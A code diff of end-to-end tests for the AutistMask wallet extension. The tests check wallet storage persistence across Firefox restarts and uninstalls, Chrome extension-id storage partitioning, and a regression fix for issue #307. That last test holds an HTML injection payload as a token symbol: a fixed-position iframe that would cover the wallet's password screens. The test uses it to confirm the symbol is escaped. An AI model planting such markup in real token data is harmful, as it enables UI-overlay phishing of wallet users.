+    // letting geckodriver make a throwaway one. That is the only way to ask
+    // what survives a browser RESTART, which for a Firefox add-on that can
+    // only be installed temporarily is the question that decides whether the
+    // extension is usable at all: a temporary add-on is unloaded when Firefox
+    // exits, so every session begins by adding it again.
+    async newSession(profileDir) {
         const prefs = {
             // See EXTENSION_UUID above. The pref is a string pref whose
             // value is itself JSON.
@@ -132,26 +138,27 @@ class Driver {
             "extensions.openPopupWithoutUserGesture.enabled": false,
         };
 
+        const args = [
+            "-headless",
+            // Mandatory on Firefox 153: without it, navigating to
+            // moz-extension:// and running chrome-context script both
+            // fail with "unsupported operation".
+            //
+            // It grants the driver FULL CHROME PRIVILEGES over this
+            // browser. Acceptable only because the browser is a
+            // throwaway in a CI container; never point a session with
+            // this flag at anything you care about.
+            "-remote-allow-system-access",
+        ];
+        if (profileDir) args.push("-profile", profileDir);
+
         const value = await this.send("POST", "/session", {
             capabilities: {
                 alwaysMatch: {
                     browserName: "firefox",
                     "moz:firefoxOptions": {
                         binary: FIREFOX_BIN,
-                        args: [
-                            "-headless",
-                            // Mandatory on Firefox 153: without it,
-                            // navigating to moz-extension:// and running
-                            // chrome-context script both fail with
-                            // "unsupported operation".
-                            //
-                            // It grants the driver FULL CHROME PRIVILEGES
-                            // over this browser. Acceptable only because
-                            // the browser is a throwaway in a CI
-                            // container; never point a session with this
-                            // flag at anything you care about.
-                            "-remote-allow-system-access",
-                        ],
+                        args,
                         prefs,
                     },
                 },
@@ -162,16 +169,30 @@ class Driver {
         return value;
     }
 
-    // Installs the unpacked MV2 build straight from a directory.
-    // temporary:true bypasses signature checks, so no XPI and no signing
-    // are involved, and the add-on dies with the profile.
-    async installAddon(dir) {
+    // Installs the MV2 build, either from an unpacked directory or from an
+    // XPI file. temporary:true bypasses signature checks — which is the only
+    // way an UNSIGNED xpi installs at all, and the reason README.md says
+    // release Firefox will refuse the artifact this repo produces — and the
+    // add-on dies with the profile.
+    //
+    // Returns the add-on id Firefox assigned, which is
+    // browser_specific_settings.gecko.id from the manifest and is what
+    // uninstallAddon() takes.
+    async installAddon(pathToAddon) {
         return this.session("POST", "/moz/addon/install", {
-            path: dir,
+            path: pathToAddon,
             temporary: true,
         });
     }
 
+    // Removes an installed add-on, the way clicking Remove in about:addons
+    // does. tests/e2e/firefox/reinstall.js uses it to ask the one question
+    // that decides whether this extension can be used at all on Firefox: does
+    // the vault survive being removed and added again.
+    async uninstallAddon(id) {
+        return this.session("POST", "/moz/addon/uninstall", { id });
+    }
+
     // Classic navigation on purpose. BiDi's browsingContext.navigate
     // refuses moz-extension:// URLs outright.
     async navigate(url) {

tests/e2e/firefox/reinstall.js

@@ -0,0 +1,438 @@
+// Does the wallet survive being installed again on Firefox?
+//
+// This is the question behind
+// https://git.eeqj.de/sneak/AutistMask/issues/310, and it is the one property
+// that has to hold before real money goes into this extension. The only route
+// that works on release Firefox is a TEMPORARY add-on, which is unloaded when
+// the browser exits: daily use means adding it again from about:debugging on
+// every browser start. If extension storage did not survive that, every start
+// would present an empty wallet and the recovery phrase would be the only copy
+// of the money.
+//
+// manifest/firefox.json declares a fixed browser_specific_settings.gecko.id,
+// which is the right SHAPE for storage to survive — Firefox keys the storage
+// area by add-on id — but shape is not observation, and nothing asserted it.
+//
+// Two different things are asked here, because they have different answers and
+// conflating them would be the whole mistake:
+//
+//   RESTART      one profile, two browser runs, the add-on added temporarily
+//                in each. This is what a user does every day, and the vault
+//                has to survive it.
+//   REMOVAL      an explicit uninstall, the way about:addons "Remove" works,
+//                inside one browser run. Firefox destroys an add-on's storage
+//                when it is uninstalled, and the observed result is recorded
+//                here rather than wished away — for a wallet it means Remove
+//                is irreversible except from the recovery phrase.
+//
+// The vault is not merely compared as bytes in the restart case. It is
+// DECRYPTED with the original password through the real Show Recovery Phrase
+// screen and the phrase is compared against the one wallet creation produced,
+// because "the ciphertext is still in storage" and "the wallet still works"
+// are different claims and only the second one is worth anything.
+//
+// Run through script/test-e2e-firefox, which builds the artifact and the
+// pinned container. The one argument is what to install — an unpacked
+// directory or an .xpi. With none, the packaged XPI in release/ is used, so
+// this doubles as the check that the release artifact installs in a real
+// Firefox.
+//
+//   node tests/e2e/firefox/reinstall.js release/autistmask-firefox-0.1.0.xpi
+//
+// A separate program from run.js rather than another step in it: every step
+// there shares one browser session with one installed add-on, and this needs
+// two browsers and three installs.
+
+"use strict";
+
+const fs = require("fs");
+const os = require("os");
+const path = require("path");
+
+const { EXTENSION_ID, EXTENSION_UUID, start } = require("./driver");
+
+const REPO_ROOT = path.resolve(__dirname, "..", "..", "..");
+const PASSWORD = "e2e-harness-password";
+
+const STEP_TIMEOUT_MS = 120000;
+
+const checks = [];
+let failed = 0;
+
+function check(name, cond, detail) {
+    checks.push(name);
+    if (cond) {
+        console.log("ok " + checks.length + " - " + name);
+    } else {
+        failed += 1;
+        console.log("not ok " + checks.length + " - " + name);
+        if (detail) console.log("  " + detail);
+    }
+}
+
+// The moz-extension:// uuid Firefox currently serves this add-on from, read
+// out of the pref that holds the mapping. Privileged scope, because that pref
+// is not reachable from content.
+//
+// It has to be read after every install and never assumed. driver.js pins a
+// uuid through extensions.webextensions.uuids at each session start, but an
+// uninstall inside a running session drops that mapping and the next install
+// mints a fresh one — and navigating to the stale origin does not fail, it
+// HANGS until the session times out, which is how this was found.
+async function extensionUuid(d) {
+    const raw = await d.executeChrome(
+        `return Services.prefs.getStringPref(
+             "extensions.webextensions.uuids", "{}");`,
+    );
+    let map;
+    try {
+        map = JSON.parse(raw);
+    } catch (e) {
+        throw new Error(
+            "extensions.webextensions.uuids is not JSON (" +
+                e.message +
+                "): " +
+                raw,
+        );
+    }
+    return map[EXTENSION_ID] || null;
+}
+
+async function openPopup(d) {
+    const uuid = await extensionUuid(d);
+    if (!uuid) {
+        throw new Error(
+            "no uuid for " +
+                EXTENSION_ID +
+                " in extensions.webextensions.uuids, so the popup has no " +
+                "origin to be served from",
+        );
+    }
+    await d.navigate("moz-extension://" + uuid + "/src/popup/index.html");
+    // Whichever screen it lands on, wait for one of the two it can land on.
+    // Waiting for #view-main directly would time out rather than say what
+    // happened, and an empty storage partition is exactly the case where it
+    // lands on the other one.
+    await d.waitFor(
+        "the popup to finish restoring",
+        `const w = document.getElementById("view-welcome");
+         const m = document.getElementById("view-main");
+         if (!w || !m) return false;
+         const shown = (el) => {
+             const r = el.getBoundingClientRect();
+             return r.width > 0 && r.height > 0;
+         };
+         return shown(w) || shown(m);`,
+        [],
+        STEP_TIMEOUT_MS,
+    );
+    return uuid;
+}
+
+// The persisted record, straight out of extension storage, read from the popup
+// page — the one moz-extension:// document this program opens and therefore
+// the only place the storage API is reachable from.
+async function readVault(d) {
+    const outcome = await d.executeAsync(
+        `const done = arguments[arguments.length - 1];
+         const api = typeof browser !== "undefined" ? browser : chrome;
+         Promise.resolve(api.storage.local.get("autistmask"))
+             .then((r) => {
+                 const s = r.autistmask;
+                 if (!s) return done({ present: false });
+                 const w = (s.wallets || [])[0];
+                 if (!w) return done({ present: false });
+                 done({
+                     present: true,
+                     wallets: s.wallets.length,
+                     name: w.name,
+                     xpub: w.xpub,
+                     address: (w.addresses || []).map((a) => a.address)[0],
+                     vault: JSON.stringify(w.encryptedSecret),
+                 });
+             })
+             .catch((e) => done({ error: String((e && e.message) || e) }));`,
+    );
+    if (outcome && outcome.error) {
+        throw new Error("could not read extension storage: " + outcome.error);
+    }
+    return outcome;
+}
+
+async function createWallet(d) {
+    await d.click("#btn-welcome-add");
+    await d.waitVisible("#view-add-wallet");
+    await d.click("#btn-generate-phrase");
+    await d.waitFor(
+        "a generated recovery phrase of at least 12 words",
+        `const el = document.getElementById("wallet-mnemonic");
+         return !!el && el.value.trim().split(/\\s+/).length >= 12;`,
+    );
+    const phrase = (await d.value("#wallet-mnemonic")).trim();
+    await d.fill("#add-wallet-password", PASSWORD);
+    await d.fill("#add-wallet-password-confirm", PASSWORD);
+    await d.click("#btn-add-wallet-confirm");
+    // Argon2id under libsodium, for real.
+    await d.waitVisible("#view-main", STEP_TIMEOUT_MS);
+    return phrase;
+}
+
+// The phrase the vault decrypts to, obtained the way a user would: Settings,
+// Show Recovery Phrase, the original password.
+async function revealPhrase(d) {
+    if (!(await d.isVisible("#view-settings"))) {
+        await d.click("#btn-settings");
+    }
+    await d.waitVisible("#view-settings");
+    await d.click("#settings-wallet-list .btn-show-phrase");
+    await d.waitVisible("#view-show-phrase");
+    await d.fill("#show-phrase-password", PASSWORD);
+    await d.click("#btn-show-phrase-reveal");
+    await d.waitVisible("#show-phrase-result", STEP_TIMEOUT_MS);
+    return (await d.text("#show-phrase-value")).trim();
+}
+
+// What to install. An explicit argument wins; with none, the packaged XPI in
+// release/ is used, and there is deliberately no fallback to dist/firefox: the
+// point of running this against the artifact is that the artifact is what gets
+// installed, and quietly testing something else instead would leave the XPI
+// unexercised while the run stayed green.
+function resolveArtifact() {
+    if (process.argv[2]) return path.resolve(REPO_ROOT, process.argv[2]);
+
+    const releaseDir = path.join(REPO_ROOT, "release");
+    const xpis = fs.existsSync(releaseDir)
+        ? fs.readdirSync(releaseDir).filter((f) => f.endsWith(".xpi"))
+        : [];
+    if (xpis.length !== 1) {
+        throw new Error(
+            "expected exactly one .xpi in release/, found " +
+                xpis.length +
+                " (" +
+                xpis.join(", ") +
+                "). Run make package, or name the artifact as the argument.",
+        );
+    }
+    return path.join(releaseDir, xpis[0]);
+}
+
+async function main() {
+    let artifact;
+    try {
+        artifact = resolveArtifact();
+    } catch (e) {
+        console.error("e2e-firefox-reinstall: " + e.message);
+        process.exitCode = 1;
+        return;
+    }
+    if (!fs.existsSync(artifact)) {
+        console.error(
+            "e2e-firefox-reinstall: nothing to install at " + artifact,
+        );
+        process.exitCode = 1;
+        return;
+    }
+    console.log("# installing: " + artifact);
+
+    // One profile, reused by both browser runs below. geckodriver would
+    // otherwise make a throwaway one per session, and "survives a restart"
+    // cannot be asked of a profile that does not.
+    const profile = fs.mkdtempSync(
+        path.join(os.tmpdir(), "autistmask-reinstall-profile-"),
+    );
+
+    let phrase = null;
+    let before = null;
+    let first;
+
+    // --- run one: install, create a wallet, close the browser --------------
+    try {
+        first = await start();
+        await first.newSession(profile);
+    } catch (e) {
+        // A browser we cannot start is a failure of this program, never an
+        // absent one.
+        console.error("e2e-firefox-reinstall: cannot run: " + e.message);
+        if (first) await first.quit().catch(() => {});
+        process.exitCode = 1;
+        return;
+    }
+
+    try {
+        const firstId = await first.installAddon(artifact);
+        check(
+            "the artifact installs and reports the manifest's gecko id",
+            firstId === EXTENSION_ID,
+            "installed add-on id is " +
+                JSON.stringify(firstId) +
+                ", expected " +
+                JSON.stringify(EXTENSION_ID) +
+                ". Without a stable id Firefox has no key to hang the " +
+                "storage area on, and nothing below can hold.",
+        );
+
+        const firstUuid = await openPopup(first);
+        await first.waitVisible("#view-welcome", STEP_TIMEOUT_MS);
+        phrase = await createWallet(first);
+        before = await readVault(first);
+        check(
+            "a wallet created through the UI is in extension storage",
+            before.present && before.wallets === 1 && !!before.vault,
+            JSON.stringify(before),
+        );
+        console.log(
+            "# run 1 moz-extension uuid: " +
+                firstUuid +
+                (firstUuid === EXTENSION_UUID ? " (the pinned one)" : ""),
+        );
+    } catch (e) {
+        failed += 1;
+        console.log("# ERROR in run 1: " + (e && e.stack ? e.stack : e));
+    } finally {
+        await first.quit().catch(() => {});
+    }
+
+    // --- run two: same profile, add-on added again -------------------------
+    //
+    // This is the restart. The temporary add-on died with the previous
+    // browser; the profile, and whatever Firefox kept in it, did not.
+    let second;
+    try {
+        second = await start();
+        await second.newSession(profile);
+    } catch (e) {
+        console.error(
+            "e2e-firefox-reinstall: cannot restart the browser: " + e.message,
+        );
+        if (second) await second.quit().catch(() => {});
+        process.exitCode = 1;
+        return;
+    }
+
+    try {
+        const secondId = await second.installAddon(artifact);
+        check(
+            "the add-on installs again after a browser restart with the " +
+                "same id",
+            secondId === EXTENSION_ID,
+            "re-installed id is " + JSON.stringify(secondId),
+        );
+
+        const secondUuid = await openPopup(second);
+        // The origin the popup is served from is not the thing that carries
+        // the wallet, and the uuid is read live for exactly that reason. In
+        // this run it comes back as the pinned one, because driver.js writes
+        // extensions.webextensions.uuids into the profile at every session
+        // start; an uninstall inside a running session drops the mapping and
+        // the next install mints a fresh uuid instead. Either way the storage
+        // area is keyed on the add-on id, never on this.
+        console.log(
+            "# run 2 moz-extension uuid: " +
+                secondUuid +
+                (secondUuid === EXTENSION_UUID
+                    ? " (the pinned one, re-applied at session start)"
+                    : " (freshly minted)"),
+        );
+
+        const onWelcome = await second.isVisible("#view-welcome");
+        check(
+            "after a restart and re-add, the extension does not come up as " +
+                "a fresh install",
+            !onWelcome,
+            "the popup shows the welcome screen, which is what an empty " +
+                "storage partition looks like: the wallet is gone and only " +
+                "the recovery phrase would get it back.",
+        );
+
+        const after = await readVault(second);
+        check(
+            "the vault, xpub and first address survive the restart unchanged",
+            after.present &&
+                after.wallets === before.wallets &&
+                after.vault === before.vault &&
+                after.xpub === before.xpub &&
+                after.address === before.address,
+            "before: " +
+                JSON.stringify(before) +
+                " after: " +
+                JSON.stringify(after),
+        );
+
+        if (after.present) {
+            const revealed = await revealPhrase(second);
+            check(
+                "the vault still decrypts with the original password to the " +
+                    "original recovery phrase",
+                revealed === phrase,
+                "the recovery phrase read back after the restart is not the " +
+                    "one the wallet was created with",
+            );
+        } else {
+            check(
+                "the vault still decrypts with the original password to the " +
+                    "original recovery phrase",
+                false,
+                "there was no vault left to decrypt",
+            );
+        }
+
+        // --- an explicit removal, in the same browser run ------------------
+        //
+        // Leave the popup FIRST. Removing the add-on destroys every document
+        // it serves, and the popup is this session's only window: uninstalling
+        // while it is on screen discards the browsing context, and every
+        // subsequent WebDriver command fails with "no such window" rather than
+        // with anything about the add-on. Observed, not anticipated.
+        await second.navigate("about:blank");
+        await second.uninstallAddon(EXTENSION_ID);
+        await second.installAddon(artifact);
+        await openPopup(second);
+
+        const afterRemoval = await readVault(second);
+        console.log(
+            "# after an explicit uninstall: " + JSON.stringify(afterRemoval),
+        );
+        // Recorded as observed behaviour, not as something this repo wants.
+        // Firefox destroys an add-on's storage when it is uninstalled, and
+        // that is correct of a browser — it is stated here, and in README.md,
+        // because for a WALLET it means about:addons "Remove" is irreversible
+        // except from the recovery phrase. If a Firefox ever stops doing it
+        // this fails and the claim gets rewritten from a new observation.
+        check(
+            "an explicit uninstall DESTROYS the vault (observed Firefox " +
+                "behaviour: Remove is irreversible, unlike a restart)",
+            afterRemoval.present === false,
+            "the vault survived an explicit uninstall: " +
+                JSON.stringify(afterRemoval),
+        );
+    } catch (e) {
+        failed += 1;
+        console.log("# ERROR in run 2: " + (e && e.stack ? e.stack : e));
+    } finally {
+        await second.quit().catch(() => {});
+        fs.rmSync(profile, { recursive: true, force: true });
+    }
+
+    console.log("1.." + checks.length);
+    if (checks.length === 0) {
+        console.log("# FAILED: this program asserted nothing");
+        process.exitCode = 1;
+        return;
+    }
+    console.log(
+        "# " +
+            (checks.length - failed) +
+            "/" +
+            checks.length +
+            " checks passed",
+    );
+    if (failed > 0) {
+        console.log("# FAILED");
+        process.exitCode = 1;
+    }
+}
+
+main().catch((e) => {
+    console.error("e2e-firefox-reinstall: " + (e && e.stack ? e.stack : e));
+    process.exitCode = 1;
+});

tests/e2e/network.js

@@ -268,11 +268,15 @@ function ethCallResult(req, opts) {
     return ZERO_WORD;
 }
 
-function tokenObject() {
+// opts.tokenSymbolOverride is the hostile contract: set it and the explorer
+// reports that string as the token's symbol, exactly as it would for a token
+// whose symbol() returns markup. Read at request time, like every other
+// fixture switch, so a test can flip it and reopen the popup.
+function tokenObject(opts) {
     return {
         address_hash: STUB_TOKEN.address,
         address: STUB_TOKEN.address,
-        symbol: STUB_TOKEN.symbol,
+        symbol: (opts && opts.tokenSymbolOverride) || STUB_TOKEN.symbol,
         name: STUB_TOKEN.name,
         decimals: STUB_TOKEN.decimals,
         holders_count: STUB_TOKEN.holders,
@@ -281,7 +285,7 @@ function tokenObject() {
 }
 
 // One received ERC-20 transfer of 1.5 E2E to the address under test.
-function tokenTransferItems(address) {
+function tokenTransferItems(address, opts) {
     return [
         {
             transaction_hash: STUB_TX_HASH,
@@ -290,7 +294,7 @@ function tokenTransferItems(address) {
             from: { hash: STUB_COUNTERPARTY },
             to: { hash: address },
             total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
-            token: tokenObject(),
+            token: tokenObject(opts),
         },
     ];
 }
@@ -317,11 +321,11 @@ function nativeTransactionItems(address) {
 // A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
 // this is what puts an ERC-20 in the send screen's token dropdown, which is
 // the only way the confirmation screen's ERC-20 path can be reached.
-function tokenBalanceItems() {
+function tokenBalanceItems(opts) {
     return [
         {
             value: "1500000",
-            token: tokenObject(),
+            token: tokenObject(opts),
         },
     ];
 }
@@ -596,6 +600,9 @@ function traceEnabled(raw) {
  * @param {string} [opts.tokenDecimalsOverride]  what decimals() answers for
  *   the stub token, in place of the value Blockscout reports for it. This is
  *   the token that lies about its scale; read at request time.
+ * @param {string} [opts.tokenSymbolOverride]  what the explorer reports as
+ *   the stub token's symbol, in place of "E2E". This is the token whose
+ *   symbol is markup; read at request time.
  * @param {boolean} [opts.seedReceipt]  answer eth_getTransactionReceipt with a
  *   confirmed receipt instead of null, so a wait screen resolves.
  * @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
@@ -674,14 +681,14 @@ async function installNetworkStubs(ctx, opts) {
                 return jsonResponse(route, {
                     items:
                         opts.seedTokenTransfer && addr
-                            ? tokenTransferItems(addr)
+                            ? tokenTransferItems(addr, opts)
                             : [],
                 });
             }
             if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
                 return jsonResponse(
                     route,
-                    opts.seedTokenBalance ? tokenBalanceItems() : [],
+                    opts.seedTokenBalance ? tokenBalanceItems(opts) : [],
                 );
             }
             for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {

tests/e2e/run.js

@@ -2169,6 +2169,156 @@ test("a token that lies about decimals() at signing time broadcasts nothing (#30
     await visible(env.page, "#view-address");
 });
 
+// ------------------------------------------- hostile token symbol (#307)
+//
+// The reproduction from the issue, in the real browser against the real
+// shipped manifest. A token symbol is whatever the contract's symbol()
+// returns, the explorer passes it through, and the popup interpolated it
+// into an innerHTML string — so a token with 1,000 holders airdropped to
+// the victim could paint a full-viewport cross-origin iframe over the
+// wallet's own UI, on the screens where the user types their password.
+//
+// The iframe count and the rendered text are asserted separately on
+// purpose, and neither substitutes for the other. `frame-src 'none'` stops
+// an injected frame LOADING; it does not stop the element existing, so a
+// zero iframe count is a claim about the escaping and about nothing else.
+// The literal capped text is the claim that the symbol was treated as a
+// string all the way down.
+//
+// The iframe count is taken on the address screen before anything is
+// clicked. That is where the injected frame lands first, and it covers the
+// viewport: with the escaping removed, every later step fails as a click
+// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
+// anything that names the defect.
+
+// Verbatim from the issue's reproduction.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+// What a correctly escaped and capped render of it reads as: the first
+// MAX_SYMBOL_LENGTH-1 characters and an ellipsis. Spelled out rather than
+// imported, so a change to the cap has to be restated here deliberately
+// instead of being absorbed by a shared constant.
+const HOSTILE_SYMBOL_DISPLAYED = "<iframe id=" + "…";
+
+// Everything the popup can say about an injected symbol, read out of the
+// live DOM in one pass.
+function hostileSymbolState(page, tokenAddress) {
+    return page.evaluate((addr) => {
+        const row = document.querySelector(
+            '#wallet-list [data-token="' + addr + '"]',
+        );
+        // balanceLine() emits <div data-token><span><span>SYMBOL</span>…
+        // so this is the span the symbol itself was written into.
+        const symbolEl = row && row.firstElementChild.firstElementChild;
+        return {
+            rowFound: !!row,
+            rowText: row ? row.innerText.trim() : "",
+            symbolText: symbolEl ? symbolEl.textContent : "",
+            // The symbol's own span must hold text and nothing else. An
+            // element child here is the injection, whether or not it
+            // happens to be an iframe.
+            symbolElementChildren: symbolEl
+                ? symbolEl.querySelectorAll("*").length
+                : -1,
+            // The whole popup document, not just the row: an injected
+            // element positioned fixed can be anywhere in the tree.
+            iframes: document.querySelectorAll("iframe").length,
+            pwnPresent: !!document.getElementById("pwn"),
+        };
+    }, tokenAddress);
+}
+
+test("a token whose symbol() returns markup renders as text (#307)", async (env) => {
+    env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
+    env.routeOpts.seedTokenBalance = true;
+    env.routeOpts.tokenSymbolOverride = HOSTILE_SYMBOL;
+    console.log(
+        "# stub token symbol() now returns: " + JSON.stringify(HOSTILE_SYMBOL),
+    );
+
+    // Close and reopen so the refresh that runs on open fetches balances
+    // with the hostile symbol in them.
+    await reopenPopup(env, "#view-address");
+    await env.page.waitForFunction(
+        (addr) =>
+            !!document.querySelector(
+                '#address-balances [data-token="' + addr + '"]',
+            ),
+        STUB_TOKEN.address,
+        { timeout: 60000 },
+    );
+    const onAddress = await env.page.evaluate(() => ({
+        iframes: document.querySelectorAll("iframe").length,
+        pwnPresent: !!document.getElementById("pwn"),
+    }));
+    console.log("# address-detail iframes = " + onAddress.iframes);
+    assert(
+        onAddress.iframes === 0 && !onAddress.pwnPresent,
+        "the address screen contains " +
+            onAddress.iframes +
+            " iframe(s) after a hostile symbol rendered (#307)",
+    );
+
+    await env.page.click("#btn-address-back");
+    await visible(env.page, "#view-main");
+    await visible(
+        env.page,
+        '#wallet-list [data-token="' + STUB_TOKEN.address + '"]',
+        60000,
+    );
+
+    const st = await hostileSymbolState(env.page, STUB_TOKEN.address);
+    console.log(
+        "# iframes in the popup DOM = " +
+            st.iframes +
+            " | #pwn present = " +
+            st.pwnPresent +
+            " | symbol = " +
+            JSON.stringify(st.symbolText),
+    );
+
+    assert(st.rowFound, "the hostile token never rendered a row at all");
+    assert(
+        st.iframes === 0,
+        "the popup DOM contains " + st.iframes + " iframe(s) (#307)",
+    );
+    assert(!st.pwnPresent, "the injected #pwn element is in the popup DOM");
+    assert(
+        st.symbolElementChildren === 0,
+        "the symbol span grew " +
+            st.symbolElementChildren +
+            " element children out of a token symbol (#307)",
+    );
+    assert(
+        st.symbolText === HOSTILE_SYMBOL_DISPLAYED,
+        "the symbol did not render as the literal capped text " +
+            JSON.stringify(HOSTILE_SYMBOL_DISPLAYED) +
+            ": " +
+            JSON.stringify(st.symbolText),
+    );
+    assert(
+        !st.rowText.includes("z-index"),
+        "the uncapped symbol reached the screen: " + JSON.stringify(st.rowText),
+    );
+
+    // Put the fixture back before the next test reads it, and let the
+    // stored balances be rewritten with the honest symbol.
+    env.routeOpts.tokenSymbolOverride = null;
+    await reopenPopup(env, "#view-main");
+    await env.page.waitForFunction(
+        (addr) => {
+            const row = document.querySelector(
+                '#wallet-list [data-token="' + addr + '"]',
+            );
+            return !!row && row.innerText.includes("E2E");
+        },
+        STUB_TOKEN.address,
+        { timeout: 60000 },
+    );
+});
+
 // ------------------------------------------- dApp round trips (#183)
 //
 // The seam. Everything above drives the popup on its own; this section is
@@ -3303,6 +3453,9 @@ async function main() {
         // something other than the value the same fixture reports through
         // Blockscout. The token that lies about its scale (#305).
         tokenDecimalsOverride: null,
+        // What the explorer reports as the stub token's symbol. The token
+        // whose symbol() returns markup (#307).
+        tokenSymbolOverride: null,
         // Whether eth_getTransactionReceipt confirms a transaction rather than
         // answering "not mined yet".
         seedReceipt: false,

tests/e2e/storagePartition.js

@@ -0,0 +1,303 @@
+// Where does chrome.storage.local live, and what moves it?
+//
+// The finding behind https://git.eeqj.de/sneak/AutistMask/issues/310: an
+// unpacked Chrome extension with no `key` in its manifest gets an extension id
+// derived from the ABSOLUTE PATH it was loaded from, and chrome.storage.local
+// is partitioned by that id. README.md documents Load unpacked from
+// dist/chrome/ as the install route, so moving the checkout, re-cloning it, or
+// loading a second copy from anywhere else means a different id, a different
+// storage partition, and a wallet that reads as empty — with no error, no
+// prompt and nothing in the UI to say what happened.
+//
+// So this OBSERVES the behaviour rather than restating it. Two unpacked loads
+// from two different directories, in one profile, with the shipped manifest
+// and again with `key` stripped out, and it reports what each pair actually
+// does. The assertions are on what was seen when this was written and are
+// annotated as such; if Chrome's derivation ever changes, this says so instead
+// of passing.
+//
+// Run through script/test-e2e, which builds the extension and the pinned
+// container.
+//
+//   node tests/e2e/storagePartition.js
+//
+// A separate program from run.js because every test there shares one browser
+// and one extension load, and the whole subject here is what happens across
+// two of each.
+//
+// The extension's own UI is deliberately not driven. What is under test is the
+// storage partition, so a sentinel key the extension never reads or writes is
+// written and read back directly: a wallet would prove the same thing more
+// slowly, and would confuse an empty partition with a UI that failed to
+// render.
+
+"use strict";
+
+const fs = require("fs");
+const os = require("os");
+const path = require("path");
+
+const { chromium } = require("playwright-core");
+
+const REPO_ROOT = path.resolve(__dirname, "..", "..");
+const DIST_CHROME = path.join(REPO_ROOT, "dist", "chrome");
+
+// Never touched by the extension: src/shared/state.js reads and writes the
+// single key "autistmask" and nothing else.
+const SENTINEL_KEY = "e2e-storage-partition-sentinel";
+const SENTINEL_VALUE = "written-by-the-first-load";
+
+const checks = [];
+let failed = 0;
+const scratch = [];
+
+function check(name, cond, detail) {
+    checks.push(name);
+    if (cond) {
+        console.log("ok " + checks.length + " - " + name);
+    } else {
+        failed += 1;
+        console.log("not ok " + checks.length + " - " + name);
+        if (detail) console.log("  " + detail);
+    }
+}
+
+function tmpdir(tag) {
+    const dir = fs.mkdtempSync(
+        path.join(os.tmpdir(), "autistmask-" + tag + "-"),
+    );
+    scratch.push(dir);
+    return dir;
+}
+
+// A copy of the built extension at a fresh absolute path. `withKey: false`
+// strips the manifest's `key`, which is the pre-fix state of this repo and the
+// control the whole program is built around.
+function extensionCopy(tag, withKey) {
+    const dir = path.join(tmpdir(tag), "chrome");
+    fs.cpSync(DIST_CHROME, dir, { recursive: true });
+    const manifestPath = path.join(dir, "manifest.json");
+    const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8"));
+    if (withKey) {
+        if (!manifest.key) {
+            throw new Error(
+                "dist/chrome/manifest.json has no `key`, so this program has " +
+                    "nothing to observe. That field is what pins the " +
+                    "extension id; see tests/extensionId.test.js.",
+            );
+        }
+    } else {
+        delete manifest.key;
+    }
+    fs.writeFileSync(manifestPath, JSON.stringify(manifest, null, 4));
+    return dir;
+}
+
+async function launch(profileDir, extensionDirs) {
+    const ctx = await chromium.launchPersistentContext(profileDir, {
+        // See the note in harness.js: the default headless shell silently
+        // refuses to load extensions.
+        channel: "chromium",
+        headless: true,
+        args: [
+            "--disable-extensions-except=" + extensionDirs.join(","),
+            "--load-extension=" + extensionDirs.join(","),
+            "--no-sandbox",
+            // Nothing here should reach the network; this makes sure it
+            // cannot.
+            "--host-resolver-rules=MAP * ~NOTFOUND",
+        ],
+    });
+    return ctx;
+}
+
+// Every extension id Chrome ended up with in this context, from the service
+// worker urls. MV3 registers one worker per loaded extension.
+async function extensionIds(ctx, expected) {
+    const deadline = Date.now() + 30000;
+    for (;;) {
+        const ids = [
+            ...new Set(ctx.serviceWorkers().map((w) => new URL(w.url()).host)),
+        ].sort();
+        if (ids.length >= expected) return ids;
+        if (Date.now() > deadline) return ids;
+        await new Promise((r) => setTimeout(r, 200));
+    }
+}
+
+// Open one extension's popup and run `fn` in it. The popup page is used rather
+// than the service worker because Chrome stops an idle MV3 worker, and a
+// handle to a stopped worker cannot be evaluated in.
+async function inExtension(ctx, id, fn, arg) {
+    const page = await ctx.newPage();
+    try {
+        await page.goto("chrome-extension://" + id + "/src/popup/index.html");
+        return await page.evaluate(fn, arg);
+    } finally {
+        await page.close();
+    }
+}
+
+const writeSentinel = ([key, value]) =>
+    new Promise((resolve) => {
+        chrome.storage.local.set({ [key]: value }, () => resolve(true));
+    });
+
+const readSentinel = (key) =>
+    new Promise((resolve) => {
+        chrome.storage.local.get(key, (r) => resolve(r[key] ?? null));
+    });
+
+// Load `firstDir` in a fresh profile, write the sentinel, close; load
+// `secondDir` in the SAME profile, read it back. Returns both ids and what the
+// second load saw.
+async function acrossTwoPaths(tag, firstDir, secondDir) {
+    const profile = tmpdir(tag + "-profile");
+
+    const first = await launch(profile, [firstDir]);
+    let firstId;
+    try {
+        [firstId] = await extensionIds(first, 1);
+        if (!firstId) throw new Error("no extension loaded from " + firstDir);
+        await inExtension(first, firstId, writeSentinel, [
+            SENTINEL_KEY,
+            SENTINEL_VALUE,
+        ]);
+    } finally {
+        await first.close();
+    }
+
+    const second = await launch(profile, [secondDir]);
+    let secondId;
+    let seen;
+    try {
+        [secondId] = await extensionIds(second, 1);
+        if (!secondId) throw new Error("no extension loaded from " + secondDir);
+        seen = await inExtension(second, secondId, readSentinel, SENTINEL_KEY);
+    } finally {
+        await second.close();
+    }
+
+    return { firstId, secondId, seen };
+}
+
+async function main() {
+    if (!fs.existsSync(path.join(DIST_CHROME, "manifest.json"))) {
+        console.error(
+            "storagePartition: no unpacked build at " +
+                DIST_CHROME +
+                " — run make build first",
+        );
+        process.exitCode = 1;
+        return;
+    }
+
+    try {
+        // --- the shipped manifest, which carries `key` ----------------------
+        const keyedA = extensionCopy("keyed-a", true);
+        const keyedB = extensionCopy("keyed-b", true);
+        const keyed = await acrossTwoPaths("keyed", keyedA, keyedB);
+        console.log("# with `key`:    " + keyedA + " -> " + keyed.firstId);
+        console.log("# with `key`:    " + keyedB + " -> " + keyed.secondId);
+        console.log("# with `key`:    sentinel read back: " + keyed.seen);
+
+        check(
+            "with `key`, two different paths produce the SAME extension id",
+            keyed.firstId === keyed.secondId,
+            keyed.firstId + " != " + keyed.secondId,
+        );
